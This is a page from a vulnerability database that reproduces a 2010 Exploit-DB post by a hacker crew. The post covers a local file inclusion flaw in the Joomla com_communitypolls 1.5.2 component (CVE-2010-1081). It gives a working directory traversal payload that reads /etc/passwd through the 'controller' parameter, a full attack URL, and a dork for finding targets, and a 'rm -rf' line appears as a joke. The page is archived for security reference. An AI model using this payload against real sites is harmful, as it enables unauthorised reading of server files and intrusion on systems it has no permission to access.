Lucene search
+L

Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion

🗓️ 19 Feb 2010 00:00:00Reported by kaMtiEzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Joomla! Component com_communitypolls 1.5.2 - LFI Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-1081
19 Feb 201000:00
circl
checkpoint_advisories
Check Point Advisories
Joomla Component com_communitypolls Local File Inclusion (CVE-2010-1081)
10 Nov 201400:00
checkpoint_advisories
cve
CVE
CVE-2010-1081
23 Mar 201019:00
cve
cvelist
Cvelist
CVE-2010-1081
23 Mar 201019:00
cvelist
euvd
EUVD
EUVD-2010-1113
7 Oct 202500:30
euvd
nessus
Tenable Nessus
Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities
4 Jan 201000:00
nessus
nuclei
Nuclei
Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
5 Aug 202602:59
nuclei
nvd
NVD
CVE-2010-1081
23 Mar 201019:30
nvd
prion
Prion
Directory traversal
23 Mar 201019:30
prion
redhatcve
RedhatCVE
CVE-2010-1081
22 May 202501:11
redhatcve
Rows per page
[!]===========================================================================[!]

[~] Joomla Component com_communitypolls LFI Vulnerability
[~] Author	: kaMtiEz ([email protected])
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: 16 February, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.corejoomla.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.corejoomla.com/downloads/community-polls/24-comcommunitypollsv1-5-2.html
[+] Version : 1.5.2 maybe lower also affected

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_communitypolls&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00

[ d3m0 ]

http://server/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,senot,all INDONESIANCODER MEMBERS
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ]

[+] Rawk !
[+] rm -rf

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..
[+] e0f

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation